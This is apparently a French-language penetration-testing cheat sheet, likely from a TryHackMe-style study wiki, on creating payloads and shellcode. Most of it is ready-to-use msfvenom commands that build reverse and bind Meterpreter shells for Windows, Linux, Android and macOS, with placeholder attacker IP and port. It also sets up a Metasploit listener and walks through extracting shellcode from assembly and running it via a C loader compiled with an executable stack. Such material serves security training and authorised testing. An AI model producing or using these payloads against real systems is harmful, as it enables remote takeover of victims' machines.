🌴Payload / shellcode
générer des payloads et shellcode avec metasploit, puis manuellement
En d'autres termes, un shellcode est un type spécifique de payload qui est conçu pour être injecté dans un autre programme ou processus, tandis qu'un payload peut être n'importe quel type de code malveillant.
📡 Metasploit
Les payload metasploit se feront souvent détecter par les antivirus (voir la doc d'obfuscation)
📦 Exemples de payload
Payloads Windows
Reverse TCP Shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f exe > shell.exe
Bind TCP Shell:
msfvenom -p windows/meterpreter/bind_tcp RHOST=<target_ip> -f exe > shell.exe
Payloads Linux
Reverse TCP Shell:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f elf > shell.elf
Bind TCP Shell:
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<target_ip> -f elf > shell.elf
Payloads Android
Reverse TCP Shell:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -o app.apk
Payloads MacOS
Reverse TCP Shell:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f macho > shell.macho
Options communes
LHOST : L'adresse IP de la machine attaquante (votre machine).
LPORT : Le port que vous utilisez pour écouter les connexions entrantes.
RHOST : L'adresse IP de la machine cible.
RPORT : Le port sur lequel la machine cible écoute.
-f : Format du payload (exe, elf, apk, macho, etc.).
-o : Nom du fichier de sortie.
Format pour générer un shellcode à intégrer dans un fichier (-f)
Format C : le shellcode est généré sous forme de tableau de caractères en langage C, qui peut être facilement intégré dans un programme C ou C++.
Format Python : le shellcode est généré sous forme de chaîne de caractères en langage Python, qui peut être utilisée dans un script Python.
Format Raw : le shellcode est généré sous forme de données brutes, qui peuvent être écrites directement dans un fichier binaire ou intégrées dans un programme à l'aide d'une fonction d'écriture de mémoire.
Format Hex : le shellcode est généré sous forme de chaîne de caractères hexadécimaux, qui peuvent être facilement intégrées dans un programme à l'aide d'une fonction de conversion de chaîne en tableau de caractères.
Format pour générer des application (-f)
exe
: génère un fichier exécutable Windows pour les systèmes 32 bits ou 64 bits.elf
: génère un fichier exécutable et lien (ELF) pour les systèmes Linux et Unix.macho
: génère un fichier exécutable Mach-O pour les systèmes macOS.apk
: génère un fichier d'application Android pour les appareils Android.war
: génère un fichier d'archive Web (WAR) pour les applications Java Web.
📡 Mode écoute (reverse shell)
Écouter les connexions avec Metasploit
Après avoir généré et déployé votre payload, vous devez configurer Metasploit pour écouter les connexions entrantes.
use exploit/multi/handler
set PAYLOAD <payload>
set LHOST <your_ip>
set LPORT <your_port>
exploit
⌨️ Création de shell code linux
Code Assembleur : thm.asm
Nous commençons par écrire le code assembleur dans un fichier nommé "thm.asm".
global _start
section .text
_start:
jmp MESSAGE
GOBACK:
mov rax, 0x1 ; Code pour le syscall write
mov rdi, 0x1 ; Descripteur de fichier pour STDOUT
pop rsi ; Adresse du message
mov rdx, 0xd ; Longueur du message
syscall
mov rax, 0x3c ; Code pour le syscall exit
mov rdi, 0x0 ; Code de retour 0
syscall
MESSAGE:
call GOBACK
db "THM, Rocks!", 0dh, 0ah ; Message à afficher
Le programme commence par définir
_start
comme point d'entrée.Il saute ensuite à l'étiquette
MESSAGE
.L'étiquette
GOBACK
est utilisée pour effectuer un appel système (syscall
) afin d'écrire le message sur la sortie standard. Ensuite, le programme se termine en effectuant un appel système pour quitter proprement.L'étiquette
MESSAGE
contient le message à afficher, suivi d'un retour chariot (0dh
) et d'un saut de ligne (0ah
).
Compilation et Exécution
Assembler et Lier le Code :
Assembler le code source thm.asm
en un fichier objet thm.o
en utilisant la commande suivante :
nasm -f elf64 thm.asm
Lier le fichier objet thm.o
et générer un fichier exécutable thm
en utilisant la commande suivante :
ld thm.o -o thm
Exécution :
Exécuter le fichier exécutable thm
en utilisant la commande suivante. La sortie attendue est "THM, Rocks!".
./thm
Extraction du Shellcode
Afficher le code assembleur du fichier exécutable thm
en utilisant la commande suivante :
objdump -d thm
Extraire la section .text
(qui contient le code machine) du fichier exécutable thm
et générer un fichier binaire thm.text
en utilisant la commande suivante :
objcopy -j .text -O binary thm thm.text
Afficher le contenu du fichier binaire thm.text
sous forme hexadécimale en utilisant la commande suivante. Cette commande est utilisée pour générer le shellcode, qui peut être intégré dans d'autres programmes.
xxd -i thm.text
Injection du Shellcode dans un Programme C : thm.c
Dans le code C fourni, insérer le shellcode extrait précédemment dans le tableau message[]
.
#include <stdio.h>
int main(int argc, char **argv) {
unsigned char message[] = {
// Shellcode à insérer
};
(*(void(*)())message)();
return 0;
}
Compiler le code source C (dans ce cas, le fichier source est thm.c
) et générer un fichier exécutable thmx
en utilisant la commande suivante :
gcc -g -Wall -z execstack thm.c -o thmx
Exécuter le fichier exécutable thmx
en utilisant la commande suivante :
./thmx
Last updated